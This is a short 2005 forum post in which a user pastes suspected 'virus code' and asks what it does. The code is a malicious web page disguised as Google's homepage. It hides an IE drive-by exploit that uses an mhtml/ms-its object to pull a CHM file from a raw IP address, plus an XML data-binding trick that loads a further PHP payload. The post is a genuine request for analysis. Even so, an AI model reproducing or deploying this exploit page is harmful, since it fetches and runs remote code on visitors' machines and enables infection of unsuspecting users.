| KMR Stitch |
02-23-2005 02:49 AM |
Can anyone tell me what this virus code does?
Code:
<html><head>
<title>Google</title>
</head>
<body id="body" bgcolor=#ffffff text=#000000 link=#0000cc vlink=#551a8b alink=#ff0000>
<center><img src=x15.gif height=1 width=1 border=0>
<textarea cols="1" rows="1" id="code" style="display:none;">
<object data='hahaha109;s-its:mhtml:file://C:\foo.mht!http://82.179.166.145/x15.chm::/launch.html' type='text/x-scriptlet' width='1' height='1'></object>
</textarea>
<script language="javascript">
document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,location.href.indexOf('index2.php'))));
</script>
<span datasrc="#oRun" datafld="view" dataformatas="html"></span>
<xml id="oRun">
<preview>
<view>
<![CDATA[
<object id="oFile" data="hpp3n.php"></object>
]]>
</view>
</preview>
</xml>
<p><font size=-2>©2004 Google - Searching 4,285,199,774 web pages</font></p>
</center>
</body></html>
|
